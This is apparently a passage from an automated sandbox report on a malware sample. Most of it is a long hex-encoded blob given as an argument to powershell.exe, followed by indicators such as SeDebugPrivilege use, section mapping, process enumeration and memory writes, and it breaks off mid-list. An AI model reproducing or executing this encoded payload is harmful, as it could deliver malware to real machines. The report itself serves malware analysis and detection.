b6b5ae4fb181660eecbd7a379625b2e40df15fe7c63a2ef7eafbfc23de00a286d3c628c4a458cbe2115e29962403fef63673b78fa64cd59194fd12fff1cfec8b6f478b3b70a526d5ac47c7fefe20d99ca61736fb16dd0ab559de805536289d7a9f9c7abfb81c013306213bcd6baab759eda3ca2fab86c636d52476d3c4cd2ff20ce2e259445ee38971b0dcdd5f3ced45d2435741b8555c5dfc5599d13247166e4b586226c5dfa426cfa5ab03d752019bf0cb38102834759b2cb2b47d9c116b9221c84b87000604bdbfbf8dd0bd3f63bedd6040c8608e38d34cd9646d980f41178f942148df92730398e9b6ee5e9815e955949c733f1d3df10cf4a25cba5039d7b581dc46270b67cc1fb44cffade883b4d9708cf3e05622d206e2f5a7c2c9cab0611daab5a180764c32d6358c600a7476e111e7bb281eff0f2ae63f2f785cea4f297a7c48cef321828a324d9637523465ad1826f24898b18a98b6a17895c4339a39a5e6f006ecbf61498b188081a2e20781777f40b19f1d26644265430ef2f1eb5e3f3254a675ed7ebd7a7cc6cd62974788f3447b121831b6e64349f97563fae8e89997d57ffe7f78b05d492ccef37f9cc9cc260c4117ce99972430d9978f5bb4d89e91f06f7533907604e4cb616bc911d72080139b6a252990f3bd98dbe4bbd1e3e73f2ef7bcaa600eab9f80de21ebfd48cb06f11495afdea872b69ce2a278d8642cad0aaad62f1874cdf2876828818c10a325a2f8bdbcdd4fce98898acb07af28df6992577fbcc9c52494cdb61f0422c7d56d03add808afc6c4e09cb3e5bddc37ae916e956a6e24368ce1c93c3faf4a72920bca90d809d1ca047e48b91c6c0a43cd7014d3b12ce3b1ebd3c4035237c92f8207dac9bfd62897a118c537bca7e5212b7a9fd8853712ba0d39b009af87d98668bbdace7286d8519f834f718b7306effe7ed88d23344326c1d25b5df491fbf500c6cec9284a5595e2339501a32bb0ceda63860798b0d2904e7ec52871ad1f1037b517209600544ece13ba04709e48b1aaa967087d85c930ddb53512c813d4ba88d229c034b2225f135a9bd87997dc9b40098d39454f98e08e87d21373af7fecb363cebe08bdbe498d6878769082221eb19b075d38cd5de068a2009fa59b26ac8005f8fceef84e55f0c4847e0d59dd023cbfcfd38758d524ebfe9f8dbae605f1d154b9f8933dcae27517de4029d13720b8a5bdab82c6b1366313487f298b7ab7d5e414f89ee594a9488c4bcc4283d66808c0cfed2e67ca0a8336a1ce9248b1704f3d1c4e0529d2304e4ceb6e2c9592560b12eb7d0a1486737a7d3fefe85f293b75e2c49f0fc2cbb2d9bb15b2ed65a683249bd09e6e4205e85c3e17fda2efa7637a88a2291c6b8db543f3844bae0994f0a8aae2b9f0c06668b9b6445b39ff57e1cff49153c653bf110714a47b46549a8c0f30c47f956b0babf878b12ab6d5ca6ba4701e7f66b823cb9bb81a60d60d173d997f01c1d02f999dfc20a1760d366cd5aa30c0d28fe75048cf41f0af09be6d00903def95895801ac6969fc111eb4590720331339b1e25297be0b83873d5f80741bca10a43fb516e5146d7122ab587dfdca65f7739bfe42a38a47a7ed6c409d0dac833af8ad02efb1d6151221da63d5eb0c63874c12a1af6e3c4782401b52bf48f3b30682134edfc7e667c73204f808fc4f4737ce7422a92217346d940b07ff0907be6105f80d26dbaa34ec46267356c0075d8907e0b6e1eff82a9148f412d2be52843df74a89475c4c09246620eeb45f6989d4fa71768e395e3f538d420ae8ff6e329eab6cb93550afcc919a65a36b85950459396ddcddd6edb3cc7c3efaa1fa490c9770ef380a10c22cbb749f10ee2d17c9a2277f91d02844973c3a83de95f98793e614b3b682984b38affd394f40888d632f77bad6e6dbbc68501b4a4441e5aa7f550fc4a0f9e85944ad90ff6a730b480ad78f8c8e6470e6b1db55644af07ae7e60d5dfd5259bfcb3cf597116e0bc106478ac26c5b79ba1d1156611ce198b597650128dd52128f9b24e1967700ffcab452ae6e5079f5423cf3b9440b1ec0d7746d2d2460f3ad0998ae800fd7b028729b7c5c24044f3e91f6fdb9366d6b56cee348aeda942ae0d6e9c7622d54704428eb98769808ac82382815dcded15c7550c095418cf38e194d1eee72bc777612d26f8908275d060c5dff4f641bb4ebad10a4623d3a6fe998a3c5844b0507a74e30b4f6babbb3edbaea85da0eab8d9ba6980c9e05ab3b9bf6e383ed913cf3414aa3c94ffcbe7cdb41d693bbe4623364b6840933fdc0520f8fb730eb7bab0619e7dbb933b826ce30f90c77cdc2c5a83ff927b2f4b4dc0bcd432502d9938f519f72097825b71ea88d8249ab5bf1a427c9cfd6d5df12057fcfd5a36090a578650933e85f1caee36efbed50aea1ce70a9dc2cc0782a8ccb9029b0318163ab3146cc781472d1e6a46fb82c5f385c204784cd5c0a5d4f2d6e435a18130f93c24ade4bb2194e0e0e7db282bf7d69789ea2c4910742d63856dfac2375a690aace938ab70fec663504ace5af0e7b64c92df9dc810deb95ff1d89bb9114dc678d9a1df8d25e9b9daaa0218c1b9ec38c5288c739356583d3336580bf5a66ebc513ef2f56ceb31e2e9b45338c1257f5c2d5eb3c51929607c921daafaaf51af0b06746e3c6b9611d7fdb56c394b92014538732ef68b5b6929886f1018a07d4146bf2ce257a30dddef5b83de942f51b5ce161921733baaa84b53783b05faf11f9f3bb43ace70bea7c0f88e731a229f422d35f62e3272376ebe36f85132c1cfd9b92e353f293715f8db09296ce79c2aefa11d51fd176f16eabf0dce55c803440a8c400a0a4c4689b2b77868be303794e72636136a52d26ed0baaa47649af779882f45014bd52d6c4c01a72c202625e25a1df1c23758de9874c8e06cea08985ca2bb2a8f0dce23a3d9f1a11ef345b58a67f3c2adb5244a78d54f7ff9c4b3f8c85201bf80f6df18962d086e95249e0f14ef7d93d498bc5cfa3f81b2ea5ab096fa65b7f1afb73f61e1a7f58252f4085d52e496aa0bdd611124e3e44a808a9a35636a9dbb283ba75ae281aab4afa6539301291693fe35c83b6e6fb5fa395f66b484042b6cdc1308043a9a2d65293b4aeb08375ca4a9da082e2176537617f34adcd220c29879be5fae85c2db85f850f44fbc64b99630a398e122032283811b650564e1e8cbaed6a8a25146f8744834512d7a910fff6e1d688d82887761842724f49b6c8948881254aee4aa826b0259fcb7831aa328d9912b08fda93e3528102af5486586fdebb9eacb6737e4fb4657544d957dd0ae9b7dbf0fa94a028a7e1a95f9d9d0a837934459a4b40f7d9588229e1768d844639aa09264be7dedf30d711127c57393cb74999278ebd1180d87b98493dad9cb15f11ad1a785c156a4e3e3e36795389f8a5166f13ed1a7596fb21a6f1e056b2e732678abc7757e133cade5ae93882f92007b9bced2fbeba8f376bce33d6e05f8b228a00964a8c92b42699f40f2a477be65e69cbbc5c3a3705f95b6c9c63849c7492e74241236ed8118a5087a9030a08e523833c6758a4a23a1a6ef91f5096d0074721e48c773865da00081302429f81571b095e65d04edd7f114b77d7c37bd8c6d97ff84118997827ab24b9c8f8799d41b9c347baeb1803bc8c0a0202cdbf201cdc567c5ba6e4b176b370b6ad586511a435d25d6d47af3d5be0063dab7dbb03d0c98632329fff34bd5688ae5b3bd2bc9c27549e35ba4e2f55c721a62565131814134b334263c5733354510407a8ce1d60598cca290a259b6b87abcacc60ac77faa9f0f896d35c8099281aca621661f03b730180d50614b300fbb520426f42fc82c160094b4d76fc313af23566fb58ae46385078a70f000d1fade980cdf6754b87c06a2de16c1028181f5ed3a53fe89ff8259b1812f2332c2a68bafe40589e31a73cfb24300a2446958464fbdab090cac4e4f3ce3334ed840bd3136941e302404049a5dbb8ec951894ee876a8173d5283639505df00960b509bf8d4ab64bcfdd0bf840103d1af517139024e4e51919169c8d07422acb8dffc51300cb63d169814df604dadd2241ed6584a9f825b1a20aa418a1979156f1b2a61e1568b284a1a8f60570124629c81bc1ee8417e85036358aa5d8ec0f6acce7426c50c9316a9a6eefbb58aaac5f0bb6122f078daff617ac272cb7a8467b28850a66a131ae02c875f4351db0242dda18d56cba1dab1681887219075c156bac0265daa34de2b1ca14139d3467b5e6b28d062e95eb155eb60e72902b869a2f26b2204be41dcfe270633141eaa36f19ffb5fc7e8262d249ed688184761f6eb10df2f55a38eb13aeaaec5b3f4942f56a4b32a0e751b6e86c63f900f3f9e858ec1ddeeea79eb41f559f6764dfff190c079bbbc4aca024e1330a539361dc02b0e6cc81b558a8b7b907ea13d4b2646f5afb58717e19cdd2e4e769e9fbe2b024a40303f0dd21caddab12ce0224a8a156f12dcf8e641392bd7433d53874d024b2b0928944a49de2514b39415b7e2ac54e0f1c209ee8ed053795fdba0e8abba0f275294c4f495ef225ebc5c9ad5f0fdd6bd7dcd0682a3fad374598819e5dad5ceacecbd00b0fe6fd43ca538949f4a3503bdc38016ee953669040befcb7c6b2d677bcfca6e8a00b96d0038539823b97583e5e0bde1e9f8288f599485025e65e077f1c12606ec9d9e1d6964a0afedbe823ca0277e9bfd6971f25a5ce462ac5e01b0d568268c8d298cd6dbc64446e9cbf43c912d9c34db61ddf73ae72d3b9ecd66917dd7a99b646d5b282ef2ff1a94d98ace48434c16dc4f745311db3ec902ff2dc316e16cdfe6ca8a48b3decb413346b3fc9e840f83f67e84c6d43635249b717eaa9ae2ba9382d750a11878e9fa1fbd8d445576927ff842ce8625267930fd2deb8d63b5023f8d6152d41032a3b1f6438065b58bdc866751e413e40322e2ddd1ec5410f0397c5f43876eef3f02605090774de028f85b027d799c9b0134439d5baa0c0945eed216b52e0430d68736aed476e81b132dccde8ba5b47ac14382577ac5678c165fa71d811c2fbbcf82dee814487dacc13172091778077ae7b74db730ff5f2e797b42ba25cb305a6e3e70c5850e8d062537979225c03324c9e68c5b0800f9c952879f3dbef59cb29098c1cd6174a51ccf0b27f977b12cf7d81679c2fdb1e32a9c978c38341fb2c72a069082ef075fb122570e56ce9d4aeba8767e2e1d8e9aaea313c1ab5d1708cb303d80f9b5745b74550b9ffa6bb134462545ed014bcc2fa7dec7f9eef88bbf31992fae0ea621cdd00596f956c09d53dfd7960e0e1fa35d76af8ab0952851220882b02ce86629c6f24d4a6039b2eb906c9d8fcab0f48fb794a6bf7e29de4d1403f6b3e8dae5d257090afbc1387428ddf75daf6fc9fde104b500a62ab1f8fb1a5315594e8913cd2e5ca8ff7cc751a583b4c8fc2af76aff5612d0ad0789024f5eb18c0d9e986f8606e59586bf74ad88493165fc915a1f65e1c6ebb3b3cfc70418557b1a1558b1c8693f200663d91cb69b9d2dea3a3d764b058310dfaf073055c53d462b985d63ceb3413e51cfbec1f849b782603e28d059f3b1e96b5fa290cb7931702a80df84be3d17572eef18559d4a3ba6d1a0f5fe589d558c194577ee322edbfc59eaaecdf5d9ae45291cda15c455cade8af731456619b2ecf8c896eb146aa2e9caad9720a7cc3d0727b64550cb9a26aa9a7d3b3bd06e74877c3df2ebe9352129f4c2f85060e0c11028963606cf397bba7d84db9d002341acc5617de9f4488a9e80551b0f8da11bb33e4fc0191b344006419a9ec8163a3c6ba968cf6caf31f03505a36fd2bf6cdc935d9d08501753abeb6c98560667c910674f359fecfdf75c0df67d50051b53a3ba0ff3f22c3f6e2b7d76d2993e4257eab674ab8647414f55d9bdceb40f403fd6e419ab42484da2e7ebff209440123a98d09267c6ff494254025229f0f4289e275a025727030f746df3377bb7c9dfb8f5f6d365fb44d040efe43d7af7031beeab7913eb41acd5adc29e0d9db2254374e57e4e6c8f20b0be94a92e6262750c0fc3690e10ea10060c6b2c8673074a156a0fb6575f1264e8e1f28b0ab88466b7eb44a0c569d1234488d6c9a55a255d748c9d15def06f8e2dc2322cb2312a6aec6558bcdab7f3f9c85ee72e5ac48d5982f93dff6fe2672cbb80a5ce167bcbf9892e08607a6d42abcfa65e125477dd4f9a8e3b094b5ed7b6c3b974bfb12084156faa667fd622e14b129159428409111cc13aded6b0993b07736be7ae074f0938ac68494faebe06a838e1166505ae149e2a8780e486a017a842e864d238b4bdee45faafe9548b36853ed29c5dc958556b4c9fac3c0ba08ce8070d8c13a2b3376a70ac56df404ca837937a3f00127738dacbaa73cd26a43522293f3cd245d84832612d42cee747597c718388f73dfb444b0d00de731c299fbcdd579927d80889ad362864af54f45e86ca6f2c6515030fb4014ea4153c750f57ce74926a3be059ddc2c3908220d40fa9e98a875e9b3c3fc5789e98df3e1a481bf56a5c76595136e3a276eb13e50214fd891d0ab7ce6ff38014dfcd9c85f02d1f62a05306133bc295a721203dd6c798f7a2a41393d2dde3726514caa0cd1e53920837cfbdf41a5d8dd401d45f57675dfa119154abe202ca6560080e59b4be3bd61d07226733f6652edec2741af0c9bac9753f62f6261983e6a9a5838438421966c5427010616798a168a118e2b7bcd692059d04a28e48dfa2f70ff3441814653a7ceea64027ca7d56a9455c5e2c5a426d1082d56c9fe7c81f75d44b8bc114bd33d61102bf6de505555631e95b02ce29517072a261c10e417080746712a6d4be6113220887d092be63ab7e18f88e97a57e4eb52588bb68b3f22b0c1279c5215637169459511c94ffc674d9dc13d8e894b40b0b689f09a491b7a43ab37aca83e9bfd571f6e7ee040e131dd6f74b733687567dd7873903c2c5413ebf43822be8ccb0852f01a7117c2168a55fb0dd4631714778fe70dedc8dee99fcf30277ac18f91e534178d83ac8e48f84bf23331dc7837be36f62410af8ffabb3379890d62c86fa37837f0d8f1ed0d603d158ece40434a905cdfb5cc63693b896f21e0d385899b97405137d93ed2c0e4f44e3a6619e50f628d2a040fbe9daa097cdfd281e64184bf36c338a8ea3a88838f47fe0e946cf2b4a1b2dd1f107cf5e314ea0fad5c2a56244da4110c8b54e7d948bc01e9ca38d9f67638d9876eacc4f7278a25608d78a4494cbdd5b92656078539a78505ec5471f0f4f953d1c6a68203501c91e32204f4e5f46b0ce724e15cb4f9387199b95f7dd3064b0c24f67ddd917a9820ca1850b07d57aa2fa81a90d12889db39ab5107b46542971ed4d204afb029a4f6088f9d8e2a45bf92f47b3aa25200aad00630194cb10e7657f75706b7af3bf36d4dd5c13243042b33743d101d3870e78bb6bf9a8b3f69f4c94b10d72949a3575a32f4663f11668c0a948a0419af9734b82d33c29d7ff4f06093fb0618ce811d54804fad5bc5f124345f6e19c3745f0aadb939cb1abf5d71734b0fe2a927d2ae224f433b64a493ec710d286ec4285bc865a0a155a4e753c4cc9dfd0283069ee4ac886087a5201ada190e64db67e23628a8963918e3691e65335ad818c2f2d6b4ebc1f278d880354fdeb79d8dccc2e7e7e6f6796349efe0637f7debf79beb77e30144d7d51c73728e0a5275ee6834e9443ab1ff52611bbbae14e4df32698cf7c92c1ab4c398acefdb6fdc12dc79d951a1906e5f72e7fb98c4040f14526d9fa9e7c2f3b2dbab23f18aa7a50295539a3522b3e758692a04195a5882486d2aa401b62c2266e1f360aa7c12830411d95186dc03ef1aca69e060147359ee50111e4d09df23d0f68ed0f02ecb94e274936b9b8dec8677f6eb49ddb32a84983987a76f40def25ec4c579833a20bc7db15b5ed1c9f281cb1ba53788692781d4e1ed1224aa92ae8950c26831331ca5734248d9e9e2e190f74807b285c4dc736dc9d6fdddb3686c586a7c6b192e670a8b90f8f176a8d310c85ed2d937eb05d6e6fb90fa37462423c2bedbe760bdd0320863d756d70a3202975ff2ff86d15bd25f8878b3ed563fd890c7f63a516d71e92838c74b103519a3bbec636560942c60b234dcc96bec13791b913e3b95c6e4facedc8087c5b8d4c3bf0d549008de6edd7d524767083fdeb60d1e86343462965a28779ec66645b22c7a8b6b32983ad267655954bd3a67ee1f58e1fc942775bce6addeb069274b255d9e9a6fba4355155996eebbdd3647871cef2f45bda05fb6c6dbe94b70c9c1cf9c841d31509b6464aee3f15ae975ea5e3c90d3ee957fb6c25f403357c8871d87e892dd720adec5cdfdfea4aff2de0ddd2c7477bfce68935ca4fb29c069efe4bb2d5dd11307aea611b6547c003af5da0d350972e9f8c968af4864a965ee5d54e2c2bda8a01be35d869b153102cc8c6eccb47630e8724261aacba12499268ec07644f152d8b9d8108cda6eb2985785d3eed9244a135aba43f201c5a6012e5f99cb67d2d5bda48235145d1a186f6b25f508bae8b1fc344f10e8bcbcadadf2bacaaf9a0223375f7301a2b977c32221e71dcf422c9a369bd3a060934892992923c2334e3632ef0456a4c493e35db04e1d60ab9ee991b71eb4b011906764dd54486170c36b616f64da6ad48cc948c9226f98399d4d9c73beb00309ae16e721937f1a532605dc60d73afc14e0fbd037d861502edec42cd1f469db36a6904061a72cf6cb2fec9c41ac22c212e8cd182c78f8f575edec8ec699f6457a0a0b062bd89b634dfc6d3c3e4260bad71dae8dc3bb4796889d62ee0fa25ef3434725449756ae04907c1f97569eea0c83cd889b02fc1b59af53297397a07921f27ff8a490d82393caa0b10a8a263cd5fd3f72f4f475e1a0481e26b55d274b8509742a4d63f92da8753a3c4615b8e459a3101a3bc3f962c2416a4cbc90cbde73a6c13e34347651dbfbb19b5aa900d7e81da973d7c34bc63303f18259d1316b6cd3633eaa0e18475d2f554b832b94703bff093e5512a37e8fbbc3b9d11a64047885ae52757538dd6bde10d8227a51907653b54549855bcba594c2f92caca74f1665f02b033321880a70923838e9194d71240930e65791efcfef03cca35f27f80073a37109b192aca852e97d9aac26f6ab50815f5ab85f60b32c8c20be848900f612ee6ede5ddfb7fae1c369cbe9d6aae7d48560c1dfcc8f66347f41f69a6e85e8befcde3fbd312eb06128860d662855f46a8da3f93d6f1efc767a6e85b6478a72cdb1492ce432f64afc3f14fd69efbf570cde00b2777fe1d77c15c6fbc860680c3002e7f7aad40a8b749e8d820c9d1acba1ce8b3cd9f10b2eab4bb937b6cb10bc894618b1f470c79fe626b7a72fc4ceb7af1a4ac1739188cffd0211eb39c3f5f79e97a4c31bd8677dc694fee19a1df0f69ff489e1daebf23fd97788489d3ca490cfd1342651774b0fcf5609f0511b434f30822e9714d108624742a62d07b4715da3fa835840412d506eeb41c9672c8882669b80e863d6f03245c883fc084af1da9cd7ac3e3a23e31cefa79bffc24815145e192a804993ad2d9c65d63fbc5c633ef426e74678e479c810b1538948502814c5934eaf157d182ffe65df5a510273f6d4f5955e2e500e28e19e286fcf41507050c250625ef3427f63c7b8b5a601c2327d53263977768da032bb880d1bbc98af14512cc2e4ed18595dee910313ff9b9d039ada05179b7233a2fe2b57d4e7fec408be46b29c6a67d36d86d03816eb52186488ee6287a1f7a6dd9f22fb862c0c1726679c4022e507ad925079e891e032f4c069ddfb645c2e6e103f96fc4291be484f112a5a1c15b3d219335e90f96e1c7dc1797a784dfe0bb68944a9913634f305851d4b7464eb820fe7ab6ad50226a57c4fab9d86d1ba2b0518c5ae8dec71d2d4aa834a79cca55e775e0a266ec19d456a703bebe9ca340bebafecf2d104fa4ec80328f0d37c767f7af11a7db1bc730642ff3a713cb4c5cf590755706bc71b1b3d9538433fcb0d3dc1460e059d69b37a76beccd7af647e4819d5675b870a3e30a4e7792fcf31ba12c7ca7dd38937a738c0a296e7a7887a6fbb3cc0ce59b18176067a1d55310bbff88ade8badfb69bbf2134a1cbda4367d0ddbcbc5265ca009ab457d345d8efd35984a414be561c5ff0044ca3d1ad68acfcfb1b9c0cd6204326b747c3fc6b21eff891da62e71d7a2ad94e4b48f9b38eba7924d5a2430c22d1b94b45739f34eb44499cd286b7a3751dcbc5176b5ca02978e31c9b71b014d81f2357c92eb85cc2a46f36e342884a65e63edf91cf06a50438d4660d3ebbf25937a30532180c2a2e2553208e167db964a9ae91fa62091012acd7c148ea8963b0d94a332059dfc9f09deea197a56d438a2059e8425e7ed82a02761d9152b4c9770c75e316efa801a4af9b0eac12bbc8f00f4bfb033e919aa7ee098548b5f9635bdf301ccd56443c0431d549b2d9bb4705a93f736ea49a55c3934002b926496dab68b6985c2fc9f669eae350ad4f6252d87b81bf8c9feee42731faf9e6122911e2e228eee08b0b35af95af0aef6a3a168e82c476eaf0e422b5e129a794be0d987b339d18ac1ca49c0098ee00dcae79bc4b3695a3f258044f7dc952c9c4ba3c64d04ad8114f0b33afe3d231b60a19f97874d06955e76f0993114b9202c6a305bb0944a340e311fd256fb514e38ce8a4c46bfb5c1e8cb7db1b5b7d447e7564603da125e8001aa8ab453054a0bc853aa34b08dc4951a371726d2e8eecb48ae4d1ab4f75d71521f766885b107eb366f52a58888e2a92f9292a86d9ca470d2fb1e95b559f775ab154efebe69f1d033fd97f12cacf32f6e6abc980e9bef33b20b53ea965225cf581b913ee9fabb9a2a4e86e76e9837d1af0741e03fd3828c5f1608c726c890e4a20a620a229b3c029714e002a64d82ddfcf8e11593c41cb2c68d6f1002ef37bcd228126ba34598b15779ae7b74ca7fcca87b29fc744e853655bf156ab15827d6575c45b5f8dafa4b3a316e5968697b022d8c408a834c59154bb1240c385d04989eb06df3652a3b416ee355e5c5ad62bfabe8bfde518a2c15336afc892fe88589ee4ece0e8e32d864546c0f2ac4490c6c015a1d9640a691061c29406c711c069bce6c02a7e1686423a28c61a3928d8963ff13627bb75b53a480d78541d47e34cec5470aa7defd82e4898bd2d88b12169d3a72404f4b0d11b59b7c30909cc68b3d5bd544a37d86330effe98872e466843fce6a4eac3a41b34f3da7fae7eddd4b4b1979f7e2f3ea85cbd53b8721ec5ab32a7ece3582a650b3dcf3f37fd290230fea17113266888e0c30142a17488a859f5f9bd778918478018b9d40f5d718542d0a08177e1a7fa455c476c105dfb169725cb2279e012247180aab2ad64980a55c88da18722fdb0d2262e8a0db0f625ecbfc1368db6865751dd76f43913826b621d90a0d6e395f03de2fed2df74c065e70ae0cb1e177e1980b65f036e2db79e42c2b49cd020b359e36ca890fdde83f3e17d8260938dc489cffc4c030b7ae613d83848b100ec880f91240b58b35680f232defdb75b522e6ecd6169d2367fa2fb34c1300a29aa91a50fc103c99ce16ce800571e9b59792aad0e604a0064d137be228fe78dc31b772be16676b0533f25a80457553bad4acb9a560781030bf5e5e6c10480380a9517aa6f6afd5a0e4556a4f01abb7b4cdab91e070f3761e9a63731f94fbaa929097090f6b84d421b807793f5471a899438260b9f3daa8fa6932342cc8e6aafd06fb9ef7dd7e3fcae1d9e31814d7d67bd1ab2f73ebdd97bd7da8c89b3c401ba5619e0282e4aa524d5af56f8a49852c771af92e3584c6d2f3af6f0463279601d68a2164124cb8c476b716dd12e3f169d4db9a5a565293a3ee8775805c5b8af18589a381a5e6c0d72c5a5af93734669635eb3d002647aaa894f5f2acdcbe4720d9be74c9c3662ba59be3b077f1521604d84218beaba808a576d80666026b9abdd5bae7b1636001177fa5bbb43d04cad9d5b6933bdf93454f2b78b42d1c59b0ce48e7f961f0bd62634a469580bc537f0592f86e4f30b9c02bf43788f042b60254906f41a9052fc1f5f67e501e488d2011cc08de1fd13dfa257b34841a9931d4f470c0c7df3d8f58211d8644250d68e37e786378f30ee54cb36d9f751da40dca40da14d1efd8865f0b45ced3649e8f94c73fea81399c03222beeec13466446bee4181259f3d32a6c5556482f9de498011c0f08f20d792d32d72b9994dffa4e437f19930c77b2550963aef3d9a67686240eb2dc670b51da30bb493ce5b601ca0022c74a68709975e75337558ada42a9de9da9edca6d8fea703827919c6068ad8e4faab8a39eb02ab8baf85683ca0cddc87b24c52cb838a22812826bfe69bcb7c9fd99a1da8f3e6ea908a59dfcd7368ff42a235668a32bf421da6f939d1d29a35e58828a61eb7562ff19da3cfff661bd88e9b12504889f8e148a910f9b5f312fca87702bb2e1b3d92fa393a24555d207ea225a9a4f6ad1c0efb75a77bc88b6ba644be9d10f5c3507ad1733f0edcf6566286bbfa407e69e27e2294200344f337b68f1be0966855037b72af91209fc78b8bc7d0f2cde0be6155f3b3217829e7ebeb504863312eb7fe374301b1c811d468966e9524e548f413bb547af3cf223149382dab2cec0b5d5c585ffd9eea57e6d0dc79d14a19161b2ec8c3d88d0603df4d703e07adae8362a12f48623ffc610b693588e828c354d1889f6a100eb8bf1298c468552c05d77e38b321c8a9b3da0d25580ff5521379a97f94bbfd5edf53ae1dcb9b8f887c4dab883e04919b85a2e21937006b6a006795d600040ebc35566eb47fecb63463ae8429becc13f0bf7934fa7b6f7533c441d1e4374ebe41f5a23c4350ba8190b7765151cfd21bc8ce0424a02e2d8ac22e4a513652f7f6c7d5fbad1bbc428c0f711da2222e4e450b9fbee95229a66c0e813189a9b83e00cb90f0ff92ccc0b88049c0eb97e04bcebf4aa1ae6cacd7eea88a22b220e86bbeebfea5b607875f32c1386a5c96f459b077253803096f934ce10ffc371132fe0440a253072569d3a6dda698ddec30664279da116658ec58a9d633eec52873e17f19402f5a36a4888a425a7759bf35a712bbbd78a0837254b96bb556c8d1bd4cd985fb6f0b9e61807dae2d3f5ee6e6543e2458bdfde9c92b96172ce09e8bc254b469276af7ec26476a04107a89f655aab112ec83cb1963de1c48646e4666f088d13ec6e0e21a4d161486119fb8df2de5f0b04899d7ee9e92b4c20d7e4afe3615b175089af1e29f7db75d38f729013f84f0e1996aeef88590e33733af2948f6c507e67d9343e0c0052699f7d51040b37fd3b8370f3cb8a541bbe13b860e3b27eda8a6d53d1b7bf44deaa377a3b9cdf869a1ac683dd43d82b5c7f76efcbbb1ea917b90bfde20e6e13e7075309f48497157b82994bef40c2ebdbb3c4eb53ddcdb95aec439507dd827c641dd37e4072bb64469c4e139fccd1084e82ca883898e4df8c02634f4cfc7c8c02ce2f6524bfe61310b5c56455219ab7ab933e2f1724ed03b70fa35caf371b4d68a1fa6af8091c60ea1e08f403fab9472228438c9e1f8384f5a805c54f3bee8fa06884c70e12876e4a1d5170d256addcfa6183734840124c21411f9b87f461dc767c9c267b0be65e9d1ef07592ff9e6cd78b2b321df7a9add53e4a07dea754a4afc4f6349de842d521e35e0e5172085f6a9ba85d24860422db130f9eab527d4988071533dfc62c86c7803e8ada95f4931e8c2bd74150f99041a1af483081238a2dc5e93b7d2b5aeecabaea79bc139069e4c0c29f94ed453cf0158b3e21e975c66864afdbaf1f7814fb6c7236c97213cb75be175c8314c8330756263a1a020e6f799044714304e69a40b249f7eabf3d7f9d0f8baef2b26b5e277bcce83a06e6e6f57ff960850f7407bd877dfc80dd2d4186921f9243e602850479710432ebbde5696189ea1265bf25d6a9c3f3906802972badc312b4a890405517821db43d6e2e903fbecb16881c61e3dc1bf24591f4be40701296abf0732274d2b7de4ac5f059b9046dd95797bc877cd4e8ead21e17a68cdb6e0f3379c322a6b52fe50d8947f622b24c2f540ad8268668532005a4e9f888ae9cfdc870b58e43642f8ccd4c801dfb934c0e4e9b3e6a83abd8842ecf2750411fbdaa33e98f17ac197ea5fb73d4c7ee2403dd4cd9eb48d3473c4d02d52708d225afff657d279a5280cc218c05f086158679120c1dbe833f7548b068e4e68c588f4a93efd08efd91b5f914e05707d5d9615a49153f9fe34b7ea54d7de2d230784f71508e332368228a388eb22f90b7d841491f3622b4d85455c1386d5418d93ae0da0c69ab9e08f84fc56b8434cdb36c4cef2c1fefc898325138e57f343444757ae2536faee533456d95ee1fa101bf49fd82d2e132c6e0246693e7bc9afd3e687e50890a75a35666b15c3c883c6ed2e5cd055260c460202876747d3cf91177d8abd6f6264c1be3138a29335d451e7e3a9d2a2fcb1c2330837889fd614936e20ed6ef1ae9748319c050fd597201680110ab7d93da6fe117fdc0104d720478ddcc15c44383dd2a29555af0592210d321cfa4391acd8a972aa6e7853e5d1279d66f918519c0ad42aa8c39ece88c59cb2f06decb91b18d10e09f718776884f759caa19fba6fb7ca75257201e234a61145e6a44c30cc1f35b3a20f2c2bb9ca81bc039283de749892ee383db9225cc221c56b9fe5ffa7cff87a8f86a68db0f702e0c032528ad9902d08e21043b4017da9501ee3e49553419b1f868938b3f805f1330557d923052599d419fb1b7172ed51499bb090fd31643de260918b8dc6245758eec667517b575303ad78483e69a165e5dafb4d61d9f1f89be4e4ce75723e2362c6027acd702acfc8315c2f3c0c46afe9376c2c466d113f798842abc683819a3de5edb3beb6cb2c3f030317324c5aad0a04c77c7a25b09438d4a7a4c076733a34fa51c1b4bb2fe4acb382149076092bb8b214a57c4cebc117ca1d2dd7f4a9e28a575d5e5dd2ac9042286097f4b8a579c0c1602f238d75027caaa7bd22e17c8a063c0101188e151ce9f139ea9e278d69d8b64e11fb8a55425c6786dbbdd18a849ad9a2444bc123df4cb511848953ce02ab9b5ac925ead8bc9dd1ed02573173e664bf093f87b2d766fbb1c7709335415e8bf114e5c8797b389e0891d57f7614eb4854be7697162657557846a30bfc1274f89db3a6732d395050275e953aeaab3ac714ab0a55eaf052b7652dc3b122a4bd197a48f883571e3f6074d0b6e1a34df478b1457fb19e8a6bc574407eb0b24b2efbc0c40122341c29911320c3f8e666794ecd89f2201e8c2e3c94570993b4d9ce658c4e70995635bf26dc19c68d26e8346f8ecefa519cb4c14aff2d8737f4540c507c0ae1ce870fe8c6ff921d23422380041fac74b50d4fc7e9b5be49f630752d3ec28522a095333dcf7248e0e03b9ab4efa0fa0dd8946e1be88fb072ba3c18c0205b1337427d270d0c51adecbf7fda0f4ff92236a57909579c4f8f9a03863a3ea0c351d774641c18be7044e835384cdacd4d64aad56177d4c6cf8449f985c1e69e6883c5562d4d6143e90cfbbfcf2ff2d1e1ec2bcff90cfd21076f6bbfbb4fb4cbf587ec6e51863d45a5c03c66b66a3c82e196ef75ed87124761377469e3d6b8d1ec0d5a7179182dc34b76df6f207a1f1df237aca3550362bcaa715d9945ecd8340e1736c40712bf5245604baf0902dfbb12cbd3f44d4fb28ed27f5bab76bdf93f217a670505c588a5be971cb255381dd3b6c55dde39297b14da137db5a196eaff8c22d91b954cfc17632e748f098915cb592b13e8e0b511f46e06416455fc0744abd1b9943f6d4d4bf671129aed00956ee21bd2f2a395030e0e4d4353f629e9b3813939a1660fcd5140d199a72d99 powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 2776 powershell.exe 2776 powershell.exe 2776 powershell.exe 2776 powershell.exe 2284 msiexec.exe 2284 msiexec.exe 4400 powershell.exe 4400 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2776 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2776 powershell.exe Token: SeDebugPrivilege 4400 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
